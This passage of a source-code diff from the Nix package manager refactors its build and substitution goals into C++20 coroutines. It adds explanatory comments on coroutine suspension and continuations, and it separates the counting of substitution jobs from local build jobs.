core thing a goal can do, suspension, when you have + * children you're waiting for. + * Coroutines allow you to resume the work cleanly. + * + * @note Brief explanation of C++20 coroutines: + * When you `Co f()`, a `std::coroutine_handle` is created, + * alongside its @ref promise_type. + * There are suspension points at the beginning of the coroutine, + * at every `co_await`, and at the final (possibly implicit) `co_return`. + * Once suspended, you can resume the `std::coroutine_handle` by doing `coroutine_handle.resume()`. + * Suspension points are implemented by passing a struct to the compiler + * that implements `await_sus`pend. + * `await_suspend` can either say "cancel suspension", in which case execution resumes, + * "suspend", in which case control is passed back to the caller of `coroutine_handle.resume()` + * or the place where the coroutine function is initially executed in the case of the initial + * suspension, or `await_suspend` can specify another coroutine to jump to, which is + * how tail calls are implemented. + * + * @note Resources: + * - https://lewissbaker.github.io/ + * - https://www.chiark.greenend.org.uk/~sgtatham/quasiblog/coroutines-c++20/ + * - https://www.scs.stanford.edu/~dm/blog/c++-coroutines.html + * + * @todo Allocate explicitly on stack since HALO thing doesn't really work, + * specifically, there's no way to uphold the requirements when trying to do + * tail-calls without using a trampoline AFAICT. + * + * @todo Support returning data natively + */ + struct [[nodiscard]] Co { + /** + * The underlying handle. + */ + handle_type handle; + + explicit Co(handle_type handle) : handle(handle) {}; + void operator=(Co&&); + Co(Co&& rhs); + ~Co(); + + bool await_ready() { return false; }; + /** + * When we `co_await` another @ref Co-returning coroutine, + * we tell the caller of `caller_coroutine.resume()` to switch to our coroutine (@ref handle). + * To make sure we return to the original coroutine, we set it as the continuation of our + * coroutine. In @ref promise_type::final_awaiter we check if it's set and if so we return to it. + * + * To explain in more understandable terms: + * When we `co_await Co_returning_function()`, this function is called on the resultant @ref Co of + * the _called_ function, and C++ automatically passes the caller in. + * + * `goal` field of @ref promise_type is also set here by copying it from the caller. + */ + std::coroutine_handle<> await_suspend(handle_type handle); + void await_resume() {}; + }; + + /** + * Used on initial suspend, does the same as @ref std::suspend_always, + * but asserts that everything has been set correctly. + */ + struct InitialSuspend { + /** + * Handle of coroutine that does the + * initial suspend + */ + handle_type handle; + + bool await_ready() { return false; }; + void await_suspend(handle_type handle_) { + handle = handle_; + } + void await_resume() { + assert(handle); + assert(handle.promise().goal); // goal must be set + assert(handle.promise().goal->top_co); // top_co of goal must be set + assert(handle.promise().goal->top_co->handle == handle); // top_co of goal must be us + } + }; + + /** + * Promise type for coroutines defined using @ref Co. + * Attached to coroutine handle. + */ + struct promise_type { + /** + * Either this is who called us, or it is who we will tail-call. + * It is what we "jump" to once we are done. + */ + std::optional continuation; + + /** + * The goal that we're a part of. + * Set either in @ref Co::await_suspend or in constructor of @ref Goal. + */ + Goal* goal = nullptr; + + /** + * Is set to false when destructed to ensure we don't use a + * destructed coroutine by accident + */ + bool alive = true; + + /** + * The awaiter used by @ref final_suspend. + */ + struct final_awaiter { + bool await_ready() noexcept { return false; }; + /** + * Here we execute our continuation, by passing it back to the caller. + * C++ compiler will create code that takes that and executes it promptly. + * `h` is the handle for the coroutine that is finishing execution, + * thus it must be destroyed. + */ + std::coroutine_handle<> await_suspend(handle_type h) noexcept; + void await_resume() noexcept { assert(false); }; + }; + + /** + * Called by compiler generated code to construct the @ref Co + * that is returned from a @ref Co-returning coroutine. + */ + Co get_return_object(); + + /** + * Called by compiler generated code before body of coroutine. + * We use this opportunity to set the @ref goal field + * and `top_co` field of @ref Goal. + */ + InitialSuspend initial_suspend() { return {}; }; + + /** + * Called on `co_return`. Creates @ref final_awaiter which + * either jumps to continuation or suspends goal. + */ + final_awaiter final_suspend() noexcept { return {}; }; + + /** + * Does nothing, but provides an opportunity for + * @ref final_suspend to happen. + */ + void return_value(Return) {} + + /** + * Does nothing, but provides an opportunity for + * @ref final_suspend to happen. + */ + void return_value(Done) {} + + /** + * When "returning" another coroutine, what happens is that + * we set it as our own continuation, thus once the final suspend + * happens, we transfer control to it. + * The original continuation we had is set as the continuation + * of the coroutine passed in. + * @ref final_suspend is called after this, and @ref final_awaiter will + * pass control off to @ref continuation. + * + * If we already have a continuation, that continuation is set as + * the continuation of the new continuation. Thus, the continuation + * passed to @ref return_value must not have a continuation set. + */ + void return_value(Co&&); + + /** + * If an exception is thrown inside a coroutine, + * we re-throw it in the context of the "resumer" of the continuation. + */ + void unhandled_exception() { throw; }; + + /** + * Allows awaiting a @ref Co. + */ + Co&& await_transform(Co&& co) { return static_cast(co); } + + /** + * Allows awaiting a @ref Suspend. + * Always suspends. + */ + std::suspend_always await_transform(Suspend) { return {}; }; + }; + + /** + * The coroutine being currently executed. + * MUST be updated when switching the coroutine being executed. + * This is used both for memory management and to resume the last + * coroutine executed. + * Destroying this should destroy all coroutines created for this goal. + */ + std::optional top_co; + + /** + * The entry point for the goal + */ + virtual Co init() = 0; + + /** + * Wrapper around @ref init since virtual functions + * can't be used in constructors. + */ + inline Co init_wrapper(); + + /** + * Signals that the goal is done. + * `co_return` the result. If you're not inside a coroutine, you can ignore + * the return value safely. + */ + Done amDone(ExitCode result, std::optional ex = {}); + + virtual void cleanup() { } + + /** + * Project a `BuildResult` with just the information that pertains + * to the given request. + * + * In general, goals may be aliased between multiple requests, and + * the stored `BuildResult` has information for the union of all + * requests. We don't want to leak what the other request are for + * sake of both privacy and determinism, and this "safe accessor" + * ensures we don't. + */ + BuildResult getBuildResult(const DerivedPath &) const; + + /** + * Exception containing an error message, if any. + */ std::optional ex; Goal(Worker & worker, DerivedPath path) - : worker(worker) - , buildResult { .path = std::move(path) } - { } + : worker(worker), top_co(init_wrapper()) + { + // top_co shouldn't have a goal already, should be nullptr. + assert(!top_co->handle.promise().goal); + // we set it such that top_co can pass it down to its subcoroutines. + top_co->handle.promise().goal = this; + } virtual ~Goal() { trace("goal destroyed"); } - virtual void work() = 0; + void work(); void addWaitee(GoalPtr waitee); virtual void waiteeDone(GoalPtr waitee, ExitCode result); - virtual void handleChildOutput(int fd, std::string_view data) + virtual void handleChildOutput(Descriptor fd, std::string_view data) { - abort(); + unreachable(); } - virtual void handleEOF(int fd) + virtual void handleEOF(Descriptor fd) { - abort(); + unreachable(); } - void trace(const FormatOrString & fs); + void trace(std::string_view s); - std::string getName() + std::string getName() const { return name; } - /* Callback in case of a timeout. It should wake up its waiters, - get rid of any running child processes that are being monitored - by the worker (important!), etc. */ + /** + * Callback in case of a timeout. It should wake up its waiters, + * get rid of any running child processes that are being monitored + * by the worker (important!), etc. + */ virtual void timedOut(Error && ex) = 0; virtual std::string key() = 0; - void amDone(ExitCode result, std::optional ex = {}); - - virtual void cleanup() { } + /** + * @brief Hint for the scheduler, which concurrency limit applies. + * @see JobCategory + */ + virtual JobCategory jobCategory() const = 0; }; void addToWeakGoals(WeakGoals & goals, GoalPtr p); } + +template +struct std::coroutine_traits { + using promise_type = nix::Goal::promise_type; +}; + +nix::Goal::Co nix::Goal::init_wrapper() { + co_return init(); +} diff --git a/src/libstore/build/local-derivation-goal.hh b/src/libstore/build/local-derivation-goal.hh deleted file mode 100644 index 34c4e9187..000000000 --- a/src/libstore/build/local-derivation-goal.hh +++ /dev/null @@ -1,218 +0,0 @@ -#pragma once - -#include "derivation-goal.hh" -#include "local-store.hh" - -namespace nix { - -struct LocalDerivationGoal : public DerivationGoal -{ - LocalStore & getLocalStore(); - - /* User selected for running the builder. */ - std::unique_ptr buildUser; - - /* The process ID of the builder. */ - Pid pid; - - /* The cgroup of the builder, if any. */ - std::optional cgroup; - - /* The temporary directory. */ - Path tmpDir; - - /* The path of the temporary directory in the sandbox. */ - Path tmpDirInSandbox; - - /* Pipe for the builder's standard output/error. */ - Pipe builderOut; - - /* Pipe for synchronising updates to the builder namespaces. */ - Pipe userNamespaceSync; - - /* The mount namespace and user namespace of the builder, used to add additional - paths to the sandbox as a result of recursive Nix calls. */ - AutoCloseFD sandboxMountNamespace; - AutoCloseFD sandboxUserNamespace; - - /* On Linux, whether we're doing the build in its own user - namespace. */ - bool usingUserNamespace = true; - - /* Whether we're currently doing a chroot build. */ - bool useChroot = false; - - Path chrootRootDir; - - /* RAII object to delete the chroot directory. */ - std::shared_ptr autoDelChroot; - - /* Whether to run the build in a private network namespace. */ - bool privateNetwork = false; - - /* Stuff we need to pass to initChild(). */ - struct ChrootPath { - Path source; - bool optional; - ChrootPath(Path source = "", bool optional = false) - : source(source), optional(optional) - { } - }; - typedef map DirsInChroot; // maps target path to source path - DirsInChroot dirsInChroot; - - typedef map Environment; - Environment env; - -#if __APPLE__ - typedef std::string SandboxProfile; - SandboxProfile additionalSandboxProfile; -#endif - - /* Hash rewriting. */ - StringMap inputRewrites, outputRewrites; - typedef map RedirectedOutputs; - RedirectedOutputs redirectedOutputs; - - /* The outputs paths used during the build. - - - Input-addressed derivations or fixed content-addressed outputs are - sometimes built when some of their outputs already exist, and can not - be hidden via sandboxing. We use temporary locations instead and - rewrite after the build. Otherwise the regular predetermined paths are - put here. - - - Floating content-addressed derivations do not know their final build - output paths until the outputs are hashed, so random locations are - used, and then renamed. The randomness helps guard against hidden - self-references. - */ - OutputPathMap scratchOutputs; - - /* Path registration info from the previous round, if we're - building multiple times. Since this contains the hash, it - allows us to compare whether two rounds produced the same - result. */ - std::map prevInfos; - - uid_t sandboxUid() { return usingUserNamespace ? (!buildUser || buildUser->getUIDCount() == 1 ? 1000 : 0) : buildUser->getUID(); } - gid_t sandboxGid() { return usingUserNamespace ? (!buildUser || buildUser->getUIDCount() == 1 ? 100 : 0) : buildUser->getGID(); } - - const static Path homeDir; - - /* The recursive Nix daemon socket. */ - AutoCloseFD daemonSocket; - - /* The daemon main thread. */ - std::thread daemonThread; - - /* The daemon worker threads. */ - std::vector daemonWorkerThreads; - - /* Paths that were added via recursive Nix calls. */ - StorePathSet addedPaths; - - /* Realisations that were added via recursive Nix calls. */ - std::set addedDrvOutputs; - - /* Recursive Nix calls are only allowed to build or realize paths - in the original input closure or added via a recursive Nix call - (so e.g. you can't do 'nix-store -r /nix/store/' where - /nix/store/ is some arbitrary path in a binary cache). */ - bool isAllowed(const StorePath & path) - { - return inputPaths.count(path) || addedPaths.count(path); - } - bool isAllowed(const DrvOutput & id) - { - return addedDrvOutputs.count(id); - } - - bool isAllowed(const DerivedPath & req); - - friend struct RestrictedStore; - - using DerivationGoal::DerivationGoal; - - virtual ~LocalDerivationGoal() override; - - /* Whether we need to perform hash rewriting if there are valid output paths. */ - bool needsHashRewrite(); - - /* The additional states. */ - void tryLocalBuild() override; - - /* Start building a derivation. */ - void startBuilder(); - - /* Fill in the environment for the builder. */ - void initEnv(); - - /* Setup tmp dir location. */ - void initTmpDir(); - - /* Write a JSON file containing the derivation attributes. */ - void writeStructuredAttrs(); - - void startDaemon(); - - void stopDaemon(); - - /* Add 'path' to the set of paths that may be referenced by the - outputs, and make it appear in the sandbox. */ - void addDependency(const StorePath & path); - - /* Make a file owned by the builder. */ - void chownToBuilder(const Path & path); - - int getChildStatus() override; - - /* Run the builder's process. */ - void runChild(); - - /* Check that the derivation outputs all exist and register them - as valid. */ - DrvOutputs registerOutputs() override; - - void signRealisation(Realisation &) override; - - /* Check that an output meets the requirements specified by the - 'outputChecks' attribute (or the legacy - '{allowed,disallowed}{References,Requisites}' attributes). */ - void checkOutputs(const std::map & outputs); - - /* Close the read side of the logger pipe. */ - void closeReadPipes() override; - - /* Cleanup hooks for buildDone() */ - void cleanupHookFinally() override; - void cleanupPreChildKill() override; - void cleanupPostChildKill() override; - bool cleanupDecideWhetherDiskFull() override; - void cleanupPostOutputsRegisteredModeCheck() override; - void cleanupPostOutputsRegisteredModeNonCheck() override; - - bool isReadDesc(int fd) override; - - /* Delete the temporary directory, if we have one. */ - void deleteTmpDir(bool force); - - /* Forcibly kill the child process, if any. */ - void killChild() override; - - /* Kill any processes running under the build user UID or in the - cgroup of the build. */ - void killSandbox(bool getStats); - - /* Create alternative path calculated from but distinct from the - input, so we can avoid overwriting outputs (or other store paths) - that already exist. */ - StorePath makeFallbackPath(const StorePath & path); - /* Make a path to another based on the output name along with the - derivation hash. */ - /* FIXME add option to randomize, so we can audit whether our - rewrites caught everything */ - StorePath makeFallbackPath(std::string_view outputName); -}; - -} diff --git a/src/libstore/build/substitution-goal.cc b/src/libstore/build/substitution-goal.cc index 2af105b4d..0152f1808 100644 --- a/src/libstore/build/substitution-goal.cc +++ b/src/libstore/build/substitution-goal.cc @@ -2,6 +2,8 @@ #include "substitution-goal.hh" #include "nar-info.hh" #include "finally.hh" +#include "signals.hh" +#include namespace nix { @@ -11,7 +13,6 @@ PathSubstitutionGoal::PathSubstitutionGoal(const StorePath & storePath, Worker & , repair(repair) , ca(ca) { - state = &PathSubstitutionGoal::init; name = fmt("substitution of '%s'", worker.store.printStorePath(this->storePath)); trace("created"); maintainExpectedSubstitutions = std::make_unique>(worker.expectedSubstitutions); @@ -24,7 +25,7 @@ PathSubstitutionGoal::~PathSubstitutionGoal() } -void PathSubstitutionGoal::done( +Goal::Done PathSubstitutionGoal::done( ExitCode result, BuildResult::Status status, std::optional errorMsg) @@ -34,17 +35,11 @@ void PathSubstitutionGoal::done( debug(*errorMsg); buildResult.errorMsg = *errorMsg; } - amDone(result); + return amDone(result); } -void PathSubstitutionGoal::work() -{ - (this->*state)(); -} - - -void PathSubstitutionGoal::init() +Goal::Co PathSubstitutionGoal::init() { trace("init"); @@ -52,170 +47,162 @@ void PathSubstitutionGoal::init() /* If the path already exists we're done. */ if (!repair && worker.store.isValidPath(storePath)) { - done(ecSuccess, BuildResult::AlreadyValid); - return; + co_return done(ecSuccess, BuildResult::AlreadyValid); } if (settings.readOnlyMode) throw Error("cannot substitute path '%s' - no write access to the Nix store", worker.store.printStorePath(storePath)); - subs = settings.useSubstitutes ? getDefaultSubstituters() : std::list>(); + auto subs = settings.useSubstitutes ? getDefaultSubstituters() : std::list>(); - tryNext(); + bool substituterFailed = false; + + for (auto sub : subs) { + trace("trying next substituter"); + + cleanup(); + + /* The path the substituter refers to the path as. This will be + * different when the stores have different names. */ + std::optional subPath; + + /* Path info returned by the substituter's query info operation. */ + std::shared_ptr info; + + if (ca) { + subPath = sub->makeFixedOutputPathFromCA( + std::string { storePath.name() }, + ContentAddressWithReferences::withoutRefs(*ca)); + if (sub->storeDir == worker.store.storeDir) + assert(subPath == storePath); + } else if (sub->storeDir != worker.store.storeDir) { + continue; + } + + try { + // FIXME: make async + info = sub->queryPathInfo(subPath ? *subPath : storePath); + } catch (InvalidPath &) { + continue; + } catch (SubstituterDisabled & e) { + if (settings.tryFallback) continue; + else throw e; + } catch (Error & e) { + if (settings.tryFallback) { + logError(e.info()); + continue; + } else throw e; + } + + if (info->path != storePath) { + if (info->isContentAddressed(*sub) && info->references.empty()) { + auto info2 = std::make_shared(*info); + info2->path = storePath; + info = info2; + } else { + printError("asked '%s' for '%s' but got '%s'", + sub->getUri(), worker.store.printStorePath(storePath), sub->printStorePath(info->path)); + continue; + } + } + + /* Update the total expected download size. */ + auto narInfo = std::dynamic_pointer_cast(info); + + maintainExpectedNar = std::make_unique>(worker.expectedNarSize, info->narSize); + + maintainExpectedDownload = + narInfo && narInfo->fileSize + ? std::make_unique>(worker.expectedDownloadSize, narInfo->fileSize) + : nullptr; + + worker.updateProgress(); + + /* Bail out early if this substituter lacks a valid + signature. LocalStore::addToStore() also checks for this, but + only after we've downloaded the path. */ + if (!sub->isTrusted && worker.store.pathInfoIsUntrusted(*info)) + { + warn("ignoring substitute for '%s' from '%s', as it's not signed by any of the keys in 'trusted-public-keys'", + worker.store.printStorePath(storePath), sub->getUri()); + continue; + } + + /* To maintain the closure invariant, we first have to realise the + paths referenced by this one. */ + for (auto & i : info->references) + if (i != storePath) /* ignore self-references */ + addWaitee(worker.makePathSubstitutionGoal(i)); + + if (!waitees.empty()) co_await Suspend{}; + + // FIXME: consider returning boolean instead of passing in reference + bool out = false; // is mutated by tryToRun + co_await tryToRun(subPath ? *subPath : storePath, sub, info, out); + substituterFailed = substituterFailed || out; + } + + /* None left. Terminate this goal and let someone else deal + with it. */ + + if (substituterFailed) { + worker.failedSubstitutions++; + worker.updateProgress(); + } + + /* Hack: don't indicate failure if there were no substituters. + In that case the calling derivation should just do a + build. */ + co_return done( + substituterFailed ? ecFailed : ecNoSubstituters, + BuildResult::NoSubstituters, + fmt("path '%s' is required, but there is no substituter that can build it", worker.store.printStorePath(storePath))); } -void PathSubstitutionGoal::tryNext() -{ - trace("trying next substituter"); - - cleanup(); - - if (subs.size() == 0) { - /* None left. Terminate this goal and let someone else deal - with it. */ - - /* Hack: don't indicate failure if there were no substituters. - In that case the calling derivation should just do a - build. */ - done( - substituterFailed ? ecFailed : ecNoSubstituters, - BuildResult::NoSubstituters, - fmt("path '%s' is required, but there is no substituter that can build it", worker.store.printStorePath(storePath))); - - if (substituterFailed) { - worker.failedSubstitutions++; - worker.updateProgress(); - } - - return; - } - - sub = subs.front(); - subs.pop_front(); - - if (ca) { - subPath = sub->makeFixedOutputPathFromCA(storePath.name(), *ca); - if (sub->storeDir == worker.store.storeDir) - assert(subPath == storePath); - } else if (sub->storeDir != worker.store.storeDir) { - tryNext(); - return; - } - - try { - // FIXME: make async - info = sub->queryPathInfo(subPath ? *subPath : storePath); - } catch (InvalidPath &) { - tryNext(); - return; - } catch (SubstituterDisabled &) { - if (settings.tryFallback) { - tryNext(); - return; - } - throw; - } catch (Error & e) { - if (settings.tryFallback) { - logError(e.info()); - tryNext(); - return; - } - throw; - } - - if (info->path != storePath) { - if (info->isContentAddressed(*sub) && info->references.empty()) { - auto info2 = std::make_shared(*info); - info2->path = storePath; - info = info2; - } else { - printError("asked '%s' for '%s' but got '%s'", - sub->getUri(), worker.store.printStorePath(storePath), sub->printStorePath(info->path)); - tryNext(); - return; - } - } - - /* Update the total expected download size. */ - auto narInfo = std::dynamic_pointer_cast(info); - - maintainExpectedNar = std::make_unique>(worker.expectedNarSize, info->narSize); - - maintainExpectedDownload = - narInfo && narInfo->fileSize - ? std::make_unique>(worker.expectedDownloadSize, narInfo->fileSize) - : nullptr; - - worker.updateProgress(); - - /* Bail out early if this substituter lacks a valid - signature. LocalStore::addToStore() also checks for this, but - only after we've downloaded the path. */ - if (!sub->isTrusted && worker.store.pathInfoIsUntrusted(*info)) - { - warn("ignoring substitute for '%s' from '%s', as it's not signed by any of the keys in 'trusted-public-keys'", - worker.store.printStorePath(storePath), sub->getUri()); - tryNext(); - return; - } - - /* To maintain the closure invariant, we first have to realise the - paths referenced by this one. */ - for (auto & i : info->references) - if (i != storePath) /* ignore self-references */ - addWaitee(worker.makePathSubstitutionGoal(i)); - - if (waitees.empty()) /* to prevent hang (no wake-up event) */ - referencesValid(); - else - state = &PathSubstitutionGoal::referencesValid; -} - - -void PathSubstitutionGoal::referencesValid() +Goal::Co PathSubstitutionGoal::tryToRun(StorePath subPath, nix::ref sub, std::shared_ptr info, bool & substituterFailed) { trace("all references realised"); if (nrFailed > 0) { - done( + co_return done( nrNoSubstituters > 0 || nrIncompleteClosure > 0 ? ecIncompleteClosure : ecFailed, BuildResult::DependencyFailed, fmt("some references of path '%s' could not be realised", worker.store.printStorePath(storePath))); - return; } for (auto & i : info->references) if (i != storePath) /* ignore self-references */ assert(worker.store.isValidPath(i)); - state = &PathSubstitutionGoal::tryToRun; worker.wakeUp(shared_from_this()); -} + co_await Suspend{}; - -void PathSubstitutionGoal::tryToRun() -{ trace("trying to run"); - /* Make sure that we are allowed to start a build. Note that even - if maxBuildJobs == 0 (no local builds allowed), we still allow - a substituter to run. This is because substitutions cannot be - distributed to another machine via the build hook. */ - if (worker.getNrLocalBuilds() >= std::max(1U, (unsigned int) settings.maxBuildJobs)) { + /* Make sure that we are allowed to start a substitution. Note that even + if maxSubstitutionJobs == 0, we still allow a substituter to run. This + prevents infinite waiting. */ + if (worker.getNrSubstitutions() >= std::max(1U, (unsigned int) settings.maxSubstitutionJobs)) { worker.waitForBuildSlot(shared_from_this()); - return; + co_await Suspend{}; } - maintainRunningSubstitutions = std::make_unique>(worker.runningSubstitutions); + auto maintainRunningSubstitutions = std::make_unique>(worker.runningSubstitutions); worker.updateProgress(); +#ifndef _WIN32 outPipe.create(); +#else + outPipe.createAsyncPipe(worker.ioport.get()); +#endif - promise = std::promise(); + auto promise = std::promise(); - thr = std::thread([this]() { + thr = std::thread([this, &promise, &subPath, &sub]() { try { + ReceiveInterrupts receiveInterrupts; + /* Wake up the worker loop when we're done. */ Finally updateStats([this]() { outPipe.writeSide.close(); }); @@ -223,7 +210,7 @@ void PathSubstitutionGoal::tryToRun() PushActivity pact(act.id); copyStorePath(*sub, worker.store, - subPath ? *subPath : storePath, repair, sub->isTrusted ? NoCheckSigs : CheckSigs); + subPath, repair, sub->isTrusted ? NoCheckSigs : CheckSigs); promise.set_value(); } catch (...) { @@ -231,14 +218,16 @@ void PathSubstitutionGoal::tryToRun() } }); - worker.childStarted(shared_from_this(), {outPipe.readSide.get()}, true, false); + worker.childStarted(shared_from_this(), { +#ifndef _WIN32 + outPipe.readSide.get() +#else + &outPipe +#endif + }, true, false); - state = &PathSubstitutionGoal::finished; -} + co_await Suspend{}; - -void PathSubstitutionGoal::finished() -{ trace("substitute finished"); thr.join(); @@ -260,10 +249,7 @@ void PathSubstitutionGoal::finished() substituterFailed = true; } - /* Try the next substitute. */ - state = &PathSubstitutionGoal::tryNext; - worker.wakeUp(shared_from_this()); - return; + co_return Return{}; } worker.markContentsGood(storePath); @@ -281,23 +267,19 @@ void PathSubstitutionGoal::finished() worker.doneDownloadSize += fileSize; } + assert(maintainExpectedNar); worker.doneNarSize += maintainExpectedNar->delta; maintainExpectedNar.reset(); worker.updateProgress(); - done(ecSuccess, BuildResult::Substituted); + co_return done(ecSuccess, BuildResult::Substituted); } -void PathSubstitutionGoal::handleChildOutput(int fd, std::string_view data) +void PathSubstitutionGoal::handleEOF(Descriptor fd) { -} - - -void PathSubstitutionGoal::handleEOF(int fd) -{ - if (fd == outPipe.readSide.get()) worker.wakeUp(shared_from_this()); + worker.wakeUp(shared_from_this()); } diff --git a/src/libstore/build/substitution-goal.hh b/src/libstore/build/substitution-goal.hh index a73f8e666..f2cf797e5 100644 --- a/src/libstore/build/substitution-goal.hh +++ b/src/libstore/build/substitution-goal.hh @@ -1,59 +1,47 @@ #pragma once +///@file -#include "lock.hh" +#include "worker.hh" #include "store-api.hh" #include "goal.hh" +#include "muxable-pipe.hh" +#include +#include +#include namespace nix { -class Worker; - struct PathSubstitutionGoal : public Goal { - /* The store path that should be realised through a substitute. */ + /** + * The store path that should be realised through a substitute. + */ StorePath storePath; - /* The path the substituter refers to the path as. This will be - different when the stores have different names. */ - std::optional subPath; - - /* The remaining substituters. */ - std::list> subs; - - /* The current substituter. */ - std::shared_ptr sub; - - /* Whether a substituter failed. */ - bool substituterFailed = false; - - /* Path info returned by the substituter's query info operation. */ - std::shared_ptr info; - - /* Pipe for the substituter's standard output. */ - Pipe outPipe; - - /* The substituter thread. */ - std::thread thr; - - std::promise promise; - - /* Whether to try to repair a valid path. */ + /** + * Whether to try to repair a valid path. + */ RepairFlag repair; - /* Location where we're downloading the substitute. Differs from - storePath when doing a repair. */ - Path destPath; + /** + * Pipe for the substituter's standard output. + */ + MuxablePipe outPipe; + + /** + * The substituter thread. + */ + std::thread thr; std::unique_ptr> maintainExpectedSubstitutions, maintainRunningSubstitutions, maintainExpectedNar, maintainExpectedDownload; - typedef void (PathSubstitutionGoal::*GoalState)(); - GoalState state; - - /* Content address for recomputing store path */ + /** + * Content address for recomputing store path + */ std::optional ca; - void done( + Done done( ExitCode result, BuildResult::Status status, std::optional errorMsg = {}); @@ -62,30 +50,37 @@ public: PathSubstitutionGoal(const StorePath & storePath, Worker & worker, RepairFlag repair = NoRepair, std::optional ca = std::nullopt); ~PathSubstitutionGoal(); - void timedOut(Error && ex) override { abort(); }; + void timedOut(Error && ex) override { unreachable(); }; + /** + * We prepend "a$" to the key name to ensure substitution goals + * happen before derivation goals. + */ std::string key() override { - /* "a$" ensures substitution goals happen before derivation - goals. */ return "a$" + std::string(storePath.name()) + "$" + worker.store.printStorePath(storePath); } - void work() override; + /** + * The states. + */ + Co init() override; + Co gotInfo(); + Co tryToRun(StorePath subPath, nix::ref sub, std::shared_ptr info, bool & substituterFailed); + Co finished(); - /* The states. */ - void init(); - void tryNext(); - void gotInfo(); - void referencesValid(); - void tryToRun(); - void finished(); + /** + * Callback used by the worker to write to the log. + */ + void handleChildOutput(Descriptor fd, std::string_view data) override {}; + void handleEOF(Descriptor fd) override; - /* Callback used by the worker to write to the log. */ - void handleChildOutput(int fd, std::string_view data) override; - void handleEOF(int fd) override; + /* Called by destructor, can't be overridden */ + void cleanup() override final; - void cleanup() override; + JobCategory jobCategory() const override { + return JobCategory::Substitution; + }; }; } diff --git a/src/libstore/build/worker.cc b/src/libstore/build/worker.cc index b192fbc77..ab0ba67b5 100644 --- a/src/libstore/build/worker.cc +++ b/src/libstore/build/worker.cc @@ -1,11 +1,14 @@ +#include "local-store.hh" #include "machines.hh" #include "worker.hh" #include "substitution-goal.hh" #include "drv-output-substitution-goal.hh" -#include "local-derivation-goal.hh" -#include "hook-instance.hh" - -#include +#include "derivation-goal.hh" +#ifndef _WIN32 // TODO Enable building on Windows +# include "local-derivation-goal.hh" +# include "hook-instance.hh" +#endif +#include "signals.hh" namespace nix { @@ -16,8 +19,8 @@ Worker::Worker(Store & store, Store & evalStore) , store(store) , evalStore(evalStore) { - /* Debugging: prevent recursive workers. */ nrLocalBuilds = 0; + nrSubstitutions = 0; lastWokenUp = steady_time_point::min(); permanentFailure = false; timedOut = false; @@ -42,7 +45,7 @@ Worker::~Worker() std::shared_ptr Worker::makeDerivationGoalCommon( const StorePath & drvPath, - const StringSet & wantedOutputs, + const OutputsSpec & wantedOutputs, std::function()> mkDrvGoal) { std::weak_ptr & goal_weak = derivationGoals[drvPath]; @@ -59,23 +62,30 @@ std::shared_ptr Worker::makeDerivationGoalCommon( std::shared_ptr Worker::makeDerivationGoal(const StorePath & drvPath, - const StringSet & wantedOutputs, BuildMode buildMode) + const OutputsSpec & wantedOutputs, BuildMode buildMode) { return makeDerivationGoalCommon(drvPath, wantedOutputs, [&]() -> std::shared_ptr { - return !dynamic_cast(&store) - ? std::make_shared(drvPath, wantedOutputs, *this, buildMode) - : std::make_shared(drvPath, wantedOutputs, *this, buildMode); + return +#ifndef _WIN32 // TODO Enable building on Windows + dynamic_cast(&store) + ? std::make_shared(drvPath, wantedOutputs, *this, buildMode) + : +#endif + std::make_shared(drvPath, wantedOutputs, *this, buildMode); }); } - std::shared_ptr Worker::makeBasicDerivationGoal(const StorePath & drvPath, - const BasicDerivation & drv, const StringSet & wantedOutputs, BuildMode buildMode) + const BasicDerivation & drv, const OutputsSpec & wantedOutputs, BuildMode buildMode) { return makeDerivationGoalCommon(drvPath, wantedOutputs, [&]() -> std::shared_ptr { - return !dynamic_cast(&store) - ? std::make_shared(drvPath, drv, wantedOutputs, *this, buildMode) - : std::make_shared(drvPath, drv, wantedOutputs, *this, buildMode); + return +#ifndef _WIN32 // TODO Enable building on Windows + dynamic_cast(&store) + ? std::make_shared(drvPath, drv, wantedOutputs, *this, buildMode) + : +#endif + std::make_shared(drvPath, drv, wantedOutputs, *this, buildMode); }); } @@ -92,6 +102,7 @@ std::shared_ptr Worker::makePathSubstitutionGoal(const Sto return goal; } + std::shared_ptr Worker::makeDrvOutputSubstitutionGoal(const DrvOutput& id, RepairFlag repair, std::optional ca) { std::weak_ptr & goal_weak = drvOutputSubstitutionGoals[id]; @@ -104,6 +115,23 @@ std::shared_ptr Worker::makeDrvOutputSubstitutionGoal return goal; } + +GoalPtr Worker::makeGoal(const DerivedPath & req, BuildMode buildMode) +{ + return std::visit(overloaded { + [&](const DerivedPath::Built & bfd) -> GoalPtr { + if (auto bop = std::get_if(&*bfd.drvPath)) + return makeDerivationGoal(bop->path, bfd.outputs, buildMode); + else + throw UnimplementedError("Building dynamic derivations in one shot is not yet implemented."); + }, + [&](const DerivedPath::Opaque & bo) -> GoalPtr { + return makePathSubstitutionGoal(bo.path, buildMode == bmRepair ? Repair : NoRepair); + }, + }, req.raw()); +} + + template static void removeGoal(std::shared_ptr goal, std::map> & goalMap) { @@ -123,7 +151,8 @@ void Worker::removeGoal(GoalPtr goal) { if (auto drvGoal = std::dynamic_pointer_cast(goal)) nix::removeGoal(drvGoal, derivationGoals); - else if (auto subGoal = std::dynamic_pointer_cast(goal)) + else + if (auto subGoal = std::dynamic_pointer_cast(goal)) nix::removeGoal(subGoal, substitutionGoals); else if (auto subGoal = std::dynamic_pointer_cast(goal)) nix::removeGoal(subGoal, drvOutputSubstitutionGoals); @@ -161,18 +190,35 @@ unsigned Worker::getNrLocalBuilds() } -void Worker::childStarted(GoalPtr goal, const std::set & fds, +unsigned Worker::getNrSubstitutions() +{ + return nrSubstitutions; +} + + +void Worker::childStarted(GoalPtr goal, const std::set & channels, bool inBuildSlot, bool respectTimeouts) { Child child; child.goal = goal; child.goal2 = goal.get(); - child.fds = fds; + child.channels = channels; child.timeStarted = child.lastOutput = steady_time_point::clock::now(); child.inBuildSlot = inBuildSlot; child.respectTimeouts = respectTimeouts; children.emplace_back(child); - if (inBuildSlot) nrLocalBuilds++; + if (inBuildSlot) { + switch (goal->jobCategory()) { + case JobCategory::Substitution: + nrSubstitutions++; + break; + case JobCategory::Build: + nrLocalBuilds++; + break; + default: + unreachable(); + } + } } @@ -183,8 +229,18 @@ void Worker::childTerminated(Goal * goal, bool wakeSleepers) if (i == children.end()) return; if (i->inBuildSlot) { - assert(nrLocalBuilds > 0); - nrLocalBuilds--; + switch (goal->jobCategory()) { + case JobCategory::Substitution: + assert(nrSubstitutions > 0); + nrSubstitutions--; + break; + case JobCategory::Build: + assert(nrLocalBuilds > 0); + nrLocalBuilds--; + break; + default: + unreachable(); + } } children.erase(i); 